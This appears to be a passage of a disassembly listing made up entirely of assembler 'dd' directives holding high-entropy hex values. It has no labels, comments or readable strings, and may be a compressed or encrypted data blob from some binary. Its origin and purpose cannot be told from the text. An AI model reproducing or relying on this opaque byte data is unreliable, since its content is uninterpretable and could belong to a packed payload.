		dd 27D75EEDh, 51CE0A80h, 0A4B25C5Ah, 0A4EE1032h, 60278E7Eh
		dd 0BF5AC01Bh, 0E84E6D44h, 8B063BB5h, 0E0DC4006h, 0D002D481h
		dd 0F808E404h, 5EF5EC1Fh, 19E856FBh, 0D5090BD6h, 483F070Ah
		dd 20D1305h, 0E7EB47B0h, 8A5E95C0h, 2251F4Ch, 870F0BF8h
		dd 82075477h, 0D1B18524h, 0FB809560h, 0C7C3118h, 4C7F390Ah
		dd 0E9196B07h, 2A3A311Dh, 1E67DAB3h, 5646F405h,	2BA520FEh
		dd 48711E74h, 79B735B0h, 2D40909h, 0ACB295Ch, 0D8145B71h
		dd 0EB5882CEh, 0C8E355A7h, 9E122166h, 0F0A2809Fh, 0A505627Ch
		dd 4B92AE7Eh, 4D3FFC57h, 318A9922h, 2CD52D0Ah, 52D23003h
		dd 8E0F4300h, 18025089h, 127E2045h, 7B1C6364h, 8FC96533h
		dd 6A138272h, 50C8E906h, 784F78D5h, 0E1C0780Bh,	8B09A64Ch
		dd 9A564C24h, 591B58A3h, 949D4019h, 8B47C5B5h, 8CA5FBC2h
		dd 1539FD86h, 7E4B3FBCh, 95C34FE0h, 9A103202h, 8E60550Bh
		dd 0E4AEB5Ah, 0FBF5C5E8h, 0D613B4D4h, 190866ECh, 5C251073h
		dd 0EB80863Fh, 6EF30C30h, 0D56A4AF1h, 0D22A5FADh, 800B75B7h
		dd 0C2E9C66Fh, 5A37F691h, 686BF0Dh, 0EF0D75DCh,	2520EABDh
		dd 7168F328h, 0E299469Fh, 1A11191Ch, 2E88B6Dh, 234AB947h
		dd 330AD404h, 112222Dh,	0EFD5E934h, 8CED5E26h, 0E63E4661h
		dd 0DFF19F6Eh, 57EB023Dh, 44FE4F8Dh, 0ACA3908Ch, 0C844498Ch
		dd 644362DCh, 6068E55Fh, 6565EBA0h, 0CD22E0B2h,	0F6839105h
		dd 8C0F6784h, 41AF8DF2h, 8CE98F6Ch, 290AEB13h, 210E617Ch
		dd 0C86A097Fh, 0E9124F58h, 7530FDB8h, 4BEB4475h, 1BE9E9C1h
		dd 36B52A74h, 0DBBBFFDAh, 0C0D2CBB0h, 2569F2BEh, 83A95683h
		dd 89E95807h, 81085E44h, 4F0A3C84h, 957580CCh, 0E9731077h
		dd 5E25D26Fh, 1B881ADFh, 25FD6C55h, 807CF633h, 8D9852F8h
		dd 0C8EA1C45h, 0E6E7B6C8h, 50FE8100h, 7F7ACA14h, 16BE67C3h
		dd 0D0971951h, 114A8FB3h, 3811AD08h, 0F8CE4FD0h, 0C3ABB584h
		dd 387E190Ch, 10D9A4A1h, 4858186Ah, 7600A839h, 0BB7D8015h
		dd 33D7C05h, 5997F6FEh,	48F409CAh, 0FDEB21A7h, 0D122213h
		dd 55A5860Fh, 2FC71C3Eh, 37B231F1h, 0C0B3C0F2h,	0BDB7B250h
		dd 6AF06E0Ch, 85BFF69Fh, 0BAC933E4h, 3155A54h, 0D8F7027Dh
		dd 14486503h, 109586E0h, 81DC1840h, 3D1CE02Bh, 7E27C2A4h
		dd 17465F30h, 3BE7BCB2h, 5506E659h, 0D4C824E7h,	33600265h
		dd 507EB8DBh, 0B072C4A7h, 27EF9E73h, 3D5E2B90h,	0BCD6B074h
		dd 0D06348FBh, 10E5176Fh, 74E87D00h, 558DCF08h,	2C29239h
		dd 0FBCA06C6h, 72B5EB37h, 5EEFC025h, 0AAB95B9h,	8049399h
		dd 83E4BF15h, 0D0170F52h, 84DC287h, 5FE3C00Bh, 6713989h
		dd 6025997h, 920A419Ah,	2EA2EC5Dh, 7A8FA111h, 623BDCCDh
		dd 4CE2009h, 88A5484Ah,	5211CF1Ch, 7B459C22h, 0EA03D0C1h
		dd 9B61135h, 452DCBA6h,	5BC336Bh, 7BCBEC8h, 4825E296h
		dd 856607B8h, 65957C9h,	4408CC23h, 0E789E6E5h, 0E924E812h
		dd 0EB91EA48h, 0ED44EC22h, 0EFFB40EEh, 62FB3F4Bh, 0C055D02Fh
		dd 1A02434Fh, 0D04EB2Dh, 0C1807DEh, 4E75D298h, 1A68091Eh
		dd 0BF3CD2F6h, 23831C15h, 8C41928h, 4010103h, 97FEE930h
		dd 64E0666Bh, 7BB8677Ah, 2EC7A680h, 0FAF8F9E1h,	0F821855h
		dd 2B97FFF7h, 68FB0240h, 98F0FC10h, 74974654h, 0CA811527h
		dd 27085704h, 2E1D3B22h, 641A6868h, 2723670Fh, 86681D63h
		dd 0B48D6A23h, 20C92D72h, 5D19759h, 617E58B2h, 0F868D36Eh
		dd 0CC1D4CFBh, 81064C8Eh, 0B70FE109h, 0B0CF9404h, 1806E922h
		dd 4D10C069h, 25EEF24Ch, 0C47D6608h, 0C8D12B9h,	555E004Eh
		dd 4DC96BFAh, 0F67D7DECh, 9201B43Fh, 6CADBCEDh,	0E8FEC112h
		dd 0FF204D8h, 3AC2C6BFh, 27845A50h, 905797E8h, 481669Dh
		dd 3FFFFA7Dh, 0E421B072h, 10194652h, 5938045Eh,	1857F6A6h
		dd 74339001h, 7D3267B8h, 78036D14h, 87F0977h, 0DF72F1E9h
		dd 8B8322CFh, 10E7515h,	9865F8Ah, 4F7FA75h, 0FB1B3F02h
		dd 1C8191D5h, 2AAC2B08h, 0F85DE8C2h, 1C4D7BE8h,	0F1755917h
		dd 9173BE0h, 0E681DEF7h, 0D7E0410h, 136E1DA9h, 0F3362F4Eh
		dd 0DA8A58D0h, 59A2288h, 83507E1Ch, 75E914FAh, 1241CEF0h
		dd 258EC6A5h, 0F81AE8C2h, 0AABC5071h, 8560911h,	0F7A6149Fh
		dd 13FBCC16h, 8BD9F38Ah, 89D6CAA5h, 4BA41A7h, 837C0A28h
		dd 750188C0h, 0E9F2B651h, 0CB62618Ah, 35F98098h, 44B8D00h
		dd 0C13B307Ch, 0D20F5B72h, 48210625h, 903EF1EBh, 0FF664057h
		dd 2AE08EB0h, 242CC33Bh, 582F5488h, 648009FAh, 0EE7F0418h
		dd 0C61C83Ah, 21B93013h, 0D95BF432h, 4B9046Dh, 5638030h
		dd 0D397F4BAh, 0DE33DD9Dh, 0D819C7BBh, 46095974h, 4185D26Bh
		dd 3CE50307h, 1F2A0A08h, 2E18DA06h, 44B964D7h, 352D8BF8h
		dd 0B84F0504h, 34EB0506h, 0C209E11Ah, 8022711h,	1A20AC13h
		dd 0CF50E857h, 70CE702Dh, 0EF0C72C0h, 45FC380Bh, 83050224h
		dd 0CE747E62h, 2D08AB47h, 72604509h, 16B49DE8h,	5031531Eh
		dd 0EC2AF93Bh, 160B21B2h, 8C09EE04h, 458AF61Dh,	34061C25h
		dd 9BC2AA36h, 0AFA97D15h, 8C64CAF4h, 8260B52h, 1C569375h
		dd 35A12839h, 4D6832Bh,	0E6F40D5Bh, 8D1E0B7Dh, 71F84014h
		dd 0C49F95EAh, 0C2224087h, 0BF490C20h, 4220D5C1h, 147F0E4Bh
		dd 17D64A05h, 0DFC2E10Eh, 78A4EF7Ah, 80A1362h, 0D47BAB89h
		dd 0A3A8BD8Eh, 0AE8A9529h, 5DB2756h, 16388C64h,	39054185h
		dd 0F4909350h, 13B406F9h, 8807ED14h, 53624B88h,	5774117Dh
		dd 62465F1h, 6A397D1Bh,	0B821B5Ch, 90DD7BE8h, 0A4507578h
		dd 9136D41Eh, 6C11B54Eh, 533E02AEh, 54686BE8h, 0EFF89739h
		dd 612FD922h, 1F815C41h, 7659C73Bh, 80228017h, 753D383Ch
		dd 5357320Fh, 4ED7FC2Ah, 0C6CE8867h, 0C1E19004h, 38448D38h
		dd 0F7CD3A01h, 0EFFF257Fh, 0F0E8BA20h, 0AA739267h, 2BE07F3Ch
		dd 0E6BF1D3Bh, 5F154277h
		dd 0F6F08CA9h, 1F2C844h, 8592FF9Dh, 8320DCD6h, 45C72A25h
		dd 3008995Bh, 890208EBh, 2A640B12h, 32E953D6h, 8566A84Ah
		dd 700F686Fh, 0F0165C8Dh, 0A8D991ABh, 0D40EAD61h, 0FE664D14h
		dd 9414AA99h, 0D6930C90h, 557D4F09h, 2750ED05h,	95ED7A2Ah
		dd 119252CFh, 180F4A7Dh, 0A2B2D7EBh, 75050BCAh,	5AD7560Ah
		dd 912FF1FEh, 9DAAB196h, 7D4025CCh, 11229862h, 0C4DAC680h
		dd 46EF2A28h, 0A4946B9Dh, 0AB929AACh, 8ADDEA1h,	48328776h
		dd 95459415h, 7D5C9A1Ah, 8103E48h, 0FF954222h, 0DEB8510h
		dd 5B90B497h, 2499725Eh, 66E7F8FCh, 420A4BE2h, 5B51D85Eh
		dd 0E48E73ECh, 0A46261Ch, 48BAF9C9h, 39F833DFh,	0CA0AC223h
		dd 43F4E781h, 24483D66h, 0B8012693h, 0B8456EA8h, 7F2DD32Eh
		dd 87AD1621h, 0B2BFFDFAh, 0D133A287h, 936B773Fh, 86DC3A63h
		dd 2C98AC7h, 25EE747Fh,	565E6ED8h, 392C3018h, 755C9846h
		dd 3906580Bh, 5B6FE91Bh, 99F9204Fh, 401F1E28h, 39331653h
		dd 0AB113A43h, 550DCA03h, 6EC46E6h, 0A0BCE94Eh,	53B7345Bh
		dd 0BC04AF98h, 8B4C050Ch, 0C05F0320h, 7E1E0DF9h, 9C61749h
		dd 37DC085Fh, 0A2ACD24Fh, 9B39A85Ah, 0A1124A18h, 9069DA8h
		dd 18C1AF8Ch, 0E68375FCh, 0B409051h, 0F2CCE831h, 65DD3EEh
		dd 71B54F66h, 0E02569Dh, 397F46Dh, 0C875E8B3h, 12FC1A36h
		dd 0C18CAB0h, 9C7F0559h, 2920481h, 2858A5C0h, 257E0F22h
		dd 80E7C5F6h, 21AFC512h, 79F304D2h, 0A20821F0h,	0E27F291Eh
		dd 16391407h, 18730ED1h, 1EBF0F2Bh, 167D8F7h, 7C5C8B0Ah
		dd 927EF1DCh, 41A5EC71h, 4B8841F1h, 93EA7559h, 0D8A2EC4Eh
		dd 4433869h, 77230FAFh,	3E5F8B0Fh, 0F10D8984h, 0A8C1A3Dh
		dd 0DE423575h, 0D92CD9FDh, 0AA8FDA65h, 1D14E24Ch, 570CB783h
		dd 49319AE6h, 907B310Bh, 52A6F70Eh, 0DDCA20FEh,	0D5F4B710h
		dd 0DEF4B4E2h, 0A7338B6Ah, 0D41B738Eh, 0B3E7DFBh, 0E891AC7h
		dd 4E3B8310h, 0E40C2002h, 0D91E066Ah, 0F736EB18h, 95FFE8DFh
		dd 0D7A2C372h, 0C7EC415Ah, 836408D8h, 2D689026h, 45DE087Eh
		dd 2EBB5370h, 0BF3B8280h, 60EB12FBh, 74160239h,	92547D63h
		dd 0FAE0BB8Fh, 8ACBFD28h, 101742D5h, 718F0675h,	1122E8FCh
		dd 9575641h, 7454C383h,	0CB031D30h, 368107E0h, 288D2774h
		dd 3C811FE7h, 6187C275h, 4DC07255h, 0D4A5F47Dh,	0F6256402h
		dd 5597ED50h, 4E729124h, 7EC83B59h, 7CC3577Fh, 930E945Ah
		dd 0EAED5D40h, 66BEF264h, 8BBD0DC2h, 0C7347EA1h, 39DD0BF7h
		dd 0A92E079Fh, 0DE5A6FE4h, 646FFEDDh, 8C8B5CD2h, 7B7CE1D6h
		dd 2FC7370Fh, 0DA1DEB4Eh, 393FF3Ah, 5C1ABE6Ah, 0E854C083h
		dd 90EF5C3Bh, 5617553Bh, 0FB813464h, 1B2FD723h,	4250553Eh
		dd 22AB368Ah, 725757CAh, 0CE82C32h, 160EA698h, 6219B904h
		dd 7FB87557h, 0DC4B7F33h, 0D4F541C2h, 5A737061h, 0EA71BC9Fh
		dd 4C8A8054h, 0B3E908D3h, 95FC3E3Ch, 0B8253391h, 0AE393409h
		dd 0C505ED0Fh, 9A817FE1h, 16A57C81h, 0F4A43654h, 4EC9B93Fh
		dd 1C8873A4h, 3B25660Ah, 5E13D54Ch, 0C5DBE2C3h,	0C19E0AEBh
		dd 0C8EDED4Eh, 30467EFCh, 147CD14Bh, 0CF000425h, 5740755Fh
		dd 506A9DB8h, 7F70FE0Bh, 82F2CB0h, 4A0F3F0h, 4C25143Dh
		dd 210C3A23h, 704F438Ah, 0F9840FC4h, 21F068DBh,	0D0EE1334h
		dd 7EF33BC3h, 0C0A4104Eh, 0C5FD24E8h, 0D6F44BB4h, 5D391483h
		dd 0A32A5F1Ch, 0E6E81536h, 4A0A4E17h, 692735A1h, 1A481B18h
		dd 0B6C7BF56h, 20F0223Bh, 0C9B701A7h, 25E29DB3h, 0B539FE5Dh
		dd 9B6C6BBh, 985F34A7h,	0EF551FE3h, 782F822Eh, 0D27D2786h
		dd 7382074Fh, 0F73B816Ch, 4960417Fh, 0CFC6BFC4h, 0AFF18C2Bh
		dd 41195114h, 7D2E30A2h, 7202C40Ch, 39CA3E22h, 74965D38h
		dd 13DAB81Ah, 49F1D33Ah, 9E9A821h, 7D7208E4h, 76CA0B04h
		dd 725440ADh, 0ABAE696h, 45BEA50Ah, 0E3315E31h,	96889D91h
		dd 0A0DC1810h, 78860F13h, 0D355F51h, 177AE9E2h,	0B6BB97Ah
		dd 0FC096A10h, 30E252F6h, 0CF960AFEh, 0FC2ED4A2h, 1A592799h
		dd 0FE614F8Bh, 0A16F14Bh, 554CDB34h, 9C555412h,	78DC8507h
		dd 9AFD8A93h, 575C069Eh, 358B21B7h, 6AD3C42Fh, 0C849E479h
		dd 88D64474h, 2B92E07Ah, 0BAF1615Fh, 11068A7Fh,	0B29E60E0h
		dd 0B6FFD82Ah, 0FBDB7206h, 0FB688419h, 1BC42D74h, 68FE4C35h
		dd 2ED716B6h, 39B71DF9h, 0B45189DCh, 65FB4B1Fh,	5C47AEDDh
		dd 6AE37408h, 0E861093Dh, 2456022Dh, 503BF767h,	0E3C3BFEEh
		dd 0A1F82675h, 0FCB4009Eh, 0F7202ABh, 24C1C394h, 0BA1DB558h
		dd 489BFE82h, 0A2A359A9h, 7503411Ch, 378858DFh,	3DA7193Ah
		dd 0E8113C90h, 0FDFC3F27h, 0EB3E1B25h, 0DF3B2771h, 0D60C0B30h
		dd 0C05EA61h, 0AB8D60ABh, 0DF213917h, 34483889h, 37136475h
		dd 454C7490h, 0C52B36C4h, 153D8BFCh, 65582028h,	9E14D0CEh
		dd 30F685C7h, 3F83437Ch, 0E03E48C9h, 0EFF328Eh,	3C8DB734h
		dd 7BC7E866h, 0B155950h, 4671E197h, 1E99FD2Bh, 0C6D7F0EBh
		dd 0EEDC24ABh, 7852671Ch, 74C1E3A8h, 2E35EB3Ch,	0B704FB91h
		dd 7C8D32E1h, 2A987A75h, 5DE0309h, 70E5B57Eh, 53E83A30h
		dd 0CB5028C0h, 96769740h, 0B00C54B0h, 70647383h, 94B1A604h
		dd 4629BB52h, 5F69098Bh, 6874C92h, 0AF5C8BDCh, 0C32EB4CCh
		dd 70E85631h, 0C67E238Eh, 92C82B6Eh, 5C8059B0h,	0F70E1620h
		dd 45D1BDBh, 0D1D823D3h, 6E04156Fh, 1BE81291h, 7A68AC49h
		dd 4F0BED5Ah, 4CF27E74h, 0E4CB2D27h, 0B0E650DAh, 6EFABC2Dh
		dd 380D6013h, 3C38048Ah, 32CA3D5Ch, 0EC1A4684h,	0D72FCCC4h
		dd 5502BCEh, 0F84EC13Ch, 0C33A4ABBh, 0FB095A10h, 0C961B9D4h
		dd 8129FF85h, 49C35F12h, 18008D1Ah, 108B0A74h, 5DBB6A9Dh
		dd 5328E8F8h, 4D2F655h,	16CAC8A8h, 0EEAA53C6h, 24C90DFh
		dd 5758A7Fh, 9441DF9Eh,	0C3835013h, 0C4879C20h,	0BB068953h
		dd 25F968C6h, 638BE9EBh, 5FB69155h, 1338CE7Eh, 74600F75h
		dd 0D67B5EE8h, 7915FB7Bh, 0FBF04A3Dh, 8999E901h, 6ED0103Ah
		dd 0CC314CDDh, 0B53AE331h, 0EF0D7F03h, 77E22EC0h, 39C2B7E8h
		dd 1E3E454Ch, 2473EB11h, 7C55D3D0h, 4B417B14h, 8D354FC6h
		dd 0A50AFF0Dh, 2B8C0229h, 9F5552C2h, 5DC12340h,	0E41F749Dh
		dd 0D2E30F1Eh, 57849EB8h, 0BDD9C5Eh, 6EEFCCA8h,	1A777FA2h
		dd 0C0B057BBh, 0E6485CB8h, 0C2E81277h, 55C025C5h, 95F3458Ah
		dd 0E08FEBFCh, 0E8C43C88h, 83805274h, 91FC40BEh, 5D970895h
		dd 3337509Eh, 972D9AB6h, 0E4571377h, 85C44D04h,	788CF21Fh
		dd 631C684Ch, 36C75052h, 4A633412h, 0B85E3CA8h,	685A7050h
		dd 0D54C648Ah, 0F1167748h, 0EC3B0D50h, 8A10E84Ah, 82034344h
		dd 4D88DDD0h, 0EEC70C7Eh, 0CFE0038Ah, 20E80788h, 0C1B551FDh
		dd 78B5F25Fh, 1AD8AD1Eh, 7020509Ah, 6C71AEDh, 0D45DB554h
		dd 0E9AAA670h, 0F5A1E2F7h, 0EEA1F062h, 0AF50B805h, 50854C5Fh
		dd 21E49651h, 3CBC67E8h, 547EC268h, 52B88F0Bh, 0DA118E84h
		dd 6CB15A63h, 510F107Ah, 804A7E90h, 0E80C4ECFh,	31F0856Bh
		dd 0D121CE44h, 0E6959A09h, 0C38C695Eh, 0BB4DE865h, 4EB4AF4h
		dd 0BB7401F0h, 63B1B104h, 0A25FC622h, 8498B880h, 0B2258159h
		dd 0E3E645ACh, 6AE8BF2Fh, 0CE70523h, 251D6112h,	0E0A1E2E9h
		dd 0BAF11D91h, 0B8C51B4Fh, 245D0AACh, 0CF21DCB6h, 2D16250h
		dd 9110A73Eh, 6678C82Ah, 0D38455FBh, 0DE849E46h, 39A52D62h
		dd 211BFED9h, 0D2E25241h
		dd 0C021EB47h, 97629609h, 5048082Ch, 6BC47090h,	0EF6E2C5Bh
		dd 0FDEA1F1Eh, 0A038C2F8h, 64904221h, 22026E84h, 623C10D4h
		dd 0E762E8ADh, 0E921164Fh, 628B5C01h, 0E89D13F2h, 5861A13Ch
		dd 4284FE39h, 5F6C264h,	95DE7018h, 0D800282h, 6B5D09A9h
		dd 982A1163h, 2F09D138h, 68E0E8E9h, 0E4E44C26h,	0C3A7658Ch
		dd 5C430CA4h, 25765E4Ch, 0DCAED825h, 2E0D4CCDh,	56E100B9h
		dd 41A36A53h, 0AC058D09h, 3A783949h, 0B03B9F05h, 0A97DB1Ch
		dd 5F2E0E0Bh, 27617F0Eh, 0E8C43847h, 411C2CF2h,	0C9401A3Ch
		dd 220E180h, 29047BC1h,	0E70FE086h, 0D274F338h,	0FF1CC0F0h
		dd 0EB528297h, 0EEDA7D34h, 40DB332Ah, 1F202742h, 9F7CD841h
		dd 0F26FB617h, 0A4C42E1Eh, 515AC1Bh, 74C33811h,	0F40FABDAh
		dd 5E5BA2D8h, 70D76C5Fh, 16C2E19Bh, 6B60DA21h, 0F12F3157h
		dd 8A8C1820h, 93A8027Fh, 2250E659h, 0D9976401h,	1B532C9Ah
		dd 22112E0Ah, 2F7C6A9Bh, 0A27146C7h, 3DA1C024h,	0D8E35752h
		dd 0A5665C6Eh, 77E82574h, 484BE814h, 3863B984h,	2431D913h
		dd 0EB495152h, 0E85EBE06h, 83654A31h, 0C7EEC1ABh, 74464001h
		dd 7165FF09h, 0A221387Ch, 0D5FF8BC3h, 4594F78Ch, 0AC3E91FCh
		dd 0C52AF84Fh, 0C4095107h, 685CDE59h, 69E312DBh, 0B5FF1F7h
		dd 5428AA4Bh, 0D0839757h, 7D4BB0BEh, 0A52509BFh, 0F22D6253h
		dd 0A3F44A99h, 5EE4202Fh, 0D077ACE0h, 0C2C9098Dh, 40C91208h
		dd 2CE9C866h, 0A4B34B4Fh, 96831CD4h, 8969201h, 0E963807Eh
		dd 0C32D2E39h, 0ECC13A8Ah, 0DAD15C2Eh, 0A2143D2Ch, 0F09A9223h
		dd 0B811C51Bh, 111D0880h, 0CB08A6Fh, 5ED30510h,	4AFB8C2Ch
		dd 11FD8841h, 9E095BF1h, 4DBFECA4h, 14506898h, 0F0CFDD11h
		dd 0F844EB48h, 4216C922h, 0F32026D7h, 14B52BBDh, 4888C390h
		dd 834A144h, 0B0459764h, 28AB141Fh, 0D8889B90h,	295C7944h
		dd 0E17F7501h, 0C00206A0h, 8C80A96h, 22729184h,	3E4E4462h
		dd 1E122E89h, 0EE10112Eh, 44DC2209h, 0AC89BECEh, 38229212h
		dd 48460403h, 22709156h, 0A094448Ch, 0BC12AE89h, 0E448D224h
		dd 610F691h, 44162204h,	46893A24h, 78245E12h, 9A918848h
		dd 0B844A622h, 11E889D0h, 28020510h, 4A483824h,	70225E91h
		dd 898E8044h, 24B012A0h, 91D448C6h, 54F422E2h, 0C826DC10h
		dd 4C913609h, 6E445C22h, 12908982h, 48CC24B6h, 22EA91DCh
		dd 71420FEh, 893E2A44h,	245A124Ch, 917C4870h, 44A22292h
		dd 0D489C0B4h, 0F224E012h, 0A88FE48h, 22161108h, 4E404430h
		dd 72126089h, 8E488024h, 0AA229C91h, 89CABA44h,	24E812DCh
		dd 9D05FF8h, 1E441422h,	1246892Ah, 507A2460h, 7AC34B01h
		dd 64157480h, 4801090Dh, 220B9173h, 10154409h, 12121389h
		dd 17489724h, 4220A91h,	44000345h, 39544547h, 483A2F20h
		dd 75076F6h, 0D302E31h,	736FA00Ah, 203A3A74h, 4114E325h
		dd 0E868CB75h, 777A6972h, 6EDDE961h, 654E2687h,	0BB14ED67h
		dd 0A41DD51Ah, 1CE13004h, 78571C7h, 4F553F8Ch, 0FF08C501h
		dd 18FE45B8h, 1CE13FF5h, 7300096h, 0E612C77h, 5103BAEEh
		dd 0C4199909h, 0F48FE86Dh, 3570006Ah, 0A3E963A5h, 9E006495h
		dd 0EDB8832h, 3FDCB8A4h, 0D51E1E79h, 0D2D9C0E0h, 0B64C2B97h
		dd 7CBD0900h, 2D077EB1h, 91E700B8h, 6490BF1Dh, 0F2ECB710h
		dd 6AB02000h, 0F3B97148h, 0BE4100DEh, 0DAD47D84h, 0E407EB1Ah
		dd 0B5516DDDh, 85C7F490h, 568300D3h, 0C0136C98h, 64006BA8h
		dd 0FD62F97Ah, 65C9ECh,	15C4F8Ah, 66CD914h, 3D006371h
		dd 0DF5FA0Fh, 0C88D08h,	5E3B6E20h, 0E44C6910h, 0D5604100h
		dd 0A2677172h, 7D98D1h,	4D4473Ch, 0D85FD4Bh, 0B56BD201h
		dd 0A8FAA50Ah, 6C35D4h,	0D642B298h, 40DBBBC9h, 0ACBCF90Fh
		dd 32D8A0E3h, 0DF5C75h,	0D60DCF45h, 0D13D59DCh,	30ACAB03h
		dd 803A26D9h, 0E48051DEh, 16C800D7h, 0B5BFD061h, 2100B4F4h
		dd 56B3C423h, 3BA9599h,	0BDA50FCFh, 2909EB8h, 88000828h
		dd 0D9B25F05h, 24C60Ch,	87B10BE9h, 112F6F7Ch, 58684C00h
		dd 0C1611DABh, 662D003Dh, 0DC4190B6h, 71000676h, 20BC01DBh
		dd 32A98D2h, 89EFD510h,	1FF1B185h, 0A56E30B5h, 9FBFE400h
		dd 0E8B8D433h, 7C905A2h, 0BAF93478h, 9A8A380h, 98180096h
		dd 0DBBE10Eh, 2D007F6Ah, 97086D3Dh, 191646Ch, 0E6635C01h
		dd 0C46B51F4h, 1CFA6162h, 6530D807h, 410F4E85h,	695EDF2h
		dd 0A57BF4h, 0F4C11B01h, 0C4578208h, 0C6F50F00h, 5065B0D9h
		dd 12B700E9h, 8BBEB8EAh, 0B900887Ch, 0DD1DDFFCh, 1F2D4962h
		dd 40F315DAh, 4C658CD3h, 5804FBD4h, 0CE4DB261h,	603A2D82h
		dd 0A3BC30h, 0D4BB30E2h, 4ADFA541h, 0D895D718h,	0D1C4C4h
		dd 0D6F4FBA4h, 69E96AD3h, 0D9FC4300h, 8846346Eh, 0D0AD0067h
		dd 73DA60B8h, 4400042Dh, 33031DE5h, 0A4C5Fh, 0D7CC9AAh
		dd 5713CDDh, 410E5079h,	20102702h, 2086BE0Bh, 25C9000Ch
		dd 0B35768B5h, 9F46F85h, 0B966D400h, 0CE61E49Fh, 0DEF9000Eh
		dd 0D9C9985Eh, 0D0EA2229h, 0A8B4B000h, 3D17C7D7h, 81591EB3h
		dd 3B2E800Dh, 0ADB7BD5Ch, 5CBA6C25h, 0EDB800FDh, 9ABFB3B6h
		dd 3AE20C3Bh, 0B1D28003h, 0D5473974h, 77AF3CEAh, 26159D80h
		dd 168304DBh, 1273DC00h, 84E3630Bh, 9464003Bh, 0D6D6A3Eh
		dd 7AEA5AA8h, 0E00CFFEh, 9FF9DE4h, 0B0AE2793h, 9EB10743h
		dd 0A0447D07h, 0A3D2F00Fh, 68870800h, 0FE1E01F2h, 690600C2h
		dd 0F762575Dh, 650167CBh, 6C367180h, 6BFCE719h,	1B76006Eh
		dd 2BE0FED4h, 5A0189D3h, 0CC10DA7Ah, 0A830DD4Ah, 0F9B938DFh
		dd 8EBEEF87h, 17B73143h, 60B0D8D5h, 0D6A3E81Ch,	0D1937E40h
		dd 0C2C4A1h, 0F25238D8h, 67F14FDFh, 57E6BB7Dh, 0DDA6BC00h
		dd 4B3FB506h, 48B20036h, 0D80D2BDAh, 0A071B4Ch,	34AF6AFh
		dd 47A60E0h, 0EFC33B41h, 8E55DF1Ch, 8EE0A867h, 0BE79316Eh
		dd 8C466900h, 1ACB61B3h, 0BC660083h, 256FD2A0h,	6800E236h
		dd 0C779552h, 4703CCh, 16B9BB0Bh, 262F2202h, 0BE550501h
		dd 28C5BA3Bh, 0B2BDFCh,	2BB45A92h, 5CB36A04h, 0D7FFA700h
		dd 0D0CF31C2h, 9E8B00B5h, 0AE1D2CD9h, 0B07E5BDEh, 269B6400h
		dd 9CEC63F2h, 756A00A3h, 26D930Ah, 97B06A9h, 0E363F00h
		dd 76785EBh, 57133872h,	4A820500h, 7A1495BFh, 0AEE2B800h
		dd 387BB12Bh, 0CB6001Bh, 92D28E9Bh, 0D500BE0Dh,	0DCEFB7E5h
		dd 1FDF217Ch, 0C3D40BDBh, 0E24286D3h, 0B3F8F1B0h, 6E68DD00h
		dd 0CD1FDA83h, 81BE0016h, 0F6B9265Bh, 0B03977E1h, 0B747826Fh
		dd 605AE618h, 6A707Eh, 3BCAFF0Fh, 0B5C6606h, 8011013Ch
		dd 698F659Eh, 79F862AEh, 616B26D3h, 166C00C5h, 0A00AE278h
		dd 0DD2EE00h, 48354D7h,	0B3C2004Eh, 26613903h, 0F700A767h
		dd 4DD06016h, 496947h, 3E6E77DBh, 0AED16A4Ah, 0D65ADC00h
		dd 0DF0B66D9h, 3BF00740h, 0E05337D8h, 9EC5A9BCh, 7FDEBB00h
		dd 0E947B2CFh, 30B507FFh, 10BDF21Ch, 0CABAC28Ah, 0B30093F2h
		dd 0B4A3A653h, 7D360524h, 6F6D0h, 5729CDD7h, 67BF54DEh
		dd 2E23D900h, 0B8B3667Ah, 0C461004Ah, 5D681B02h, 6F002B94h
		dd 0BBE372Ah, 3F8EA1B4h, 0DF80C30Ch, 0EF8D5A05h, 5E962D02h
		dd 10725059h, 4507BF8Ah, 0E830CCF0h, 33415E38h,	860609FCh
		dd 0B0C9B207h, 10036FB8h, 4E602AEh, 5420245h, 7430351Ah
		dd 28202F01h, 758E038h,	37380870h, 0F857BC30h, 517E21DCh
		dd 6860D417h, 1203B3E5h
		dd 7F788B70h, 3745DC03h, 0F1B7F3Ch, 0F8305E6h, 6E832883h
		dd 6C837583h, 7A29052Ah, 0F7FD287Fh, 5F3C17F6h,	3109E479h
		dd 7266C858h, 7078651Bh, 6F6DC039h, 5F24A064h, 0F4797F68h
		dd 61638874h, 21736234h, 20268FC4h, 0A166453Fh,	10311750h
		dd 72C56F6Ch, 69656310h, 7411BED8h, 1BA8DF61h, 0FD97366Fh
		dd 7271D810h, 611443FFh, 8322B29h, 42D110A2h, 4BD07E3Ch
		dd 868CA34h, 85A2F34h, 0B6082C2Fh, 30312967h, 0A3DF2008h
		dd 825285EEh, 0C003B3DFh, 4150017Eh, 4A801124h,	490F471Eh
		dd 6F728573h, 0D0BB891Dh, 94ED4692h, 6DD375DAh,	6EE91C20h
		dd 1C4B8548h, 0CA4E5245h, 4C87334Ch, 30712B90h,	802115E5h
		dd 8703857Dh, 10A60970h, 87030880h, 0E13310A4h,	44EB1086h
		dd 67331808h, 4A371089h, 9D955128h, 382B9E19h, 318A6D42h
		dd 5D119A59h, 0C3183908h, 0B389AF1Ch, 68BD18A1h, 0A0D40C20h
		dd 48E9D820h, 0A166882Ch, 28098C10h, 0EB37572h,	20656D69h
		dd 0F9CF685Eh, 545007DBh, 1A534F4Ch, 7C44490Eh,	4E2949FAh
		dd 26E0F47h, 854D4F44h,	12284EFCh, 30360C52h, 2D123832h
		dd 0A690206Ah, 74906C19h, 5247AF71h, 0E7F7A62Dh, 731C7A76h
		dd 0A470F068h, 37288138h, 0EA906E08h, 750A7CD8h, 24687B67h
		dd 339E7073h, 0F1506648h, 69527776h, 0BC9D239h,	8D73380Ah
		dd 6474446Fh, 1235216Fh, 499B5D70h, 1E8F6976h, 6840441Bh
		dd 24A363A6h, 0FB1A6DCFh, 29285243h, 5FF96034h,	330956A4h
		dd 0B2412FBAh, 24DD0407h, 316071E3h, 72F85E39h,	0B3DA7077h
		dd 48134364h, 0E86FC321h, 38B22C94h, 9D574B32h,	6492821Dh
		dd 58691A35h, 3E372402h, 413B6D58h, 4368E5ADh, 185061C0h
		dd 6B576322h, 0B9189530h, 0CBCA350Dh, 65F6806h,	724431A3h
		dd 7001246Dh, 3F6782CFh, 96426DBDh, 0BC3742FEh,	0A739E230h
		dd 5622ED50h, 6D4D5642h, 2C5E68E0h, 0E3AD3891h,	975F59Fh
		dd 60147329h, 2C0961A2h, 6EDFBDACh, 0E3836751h,	3BAB0C79h
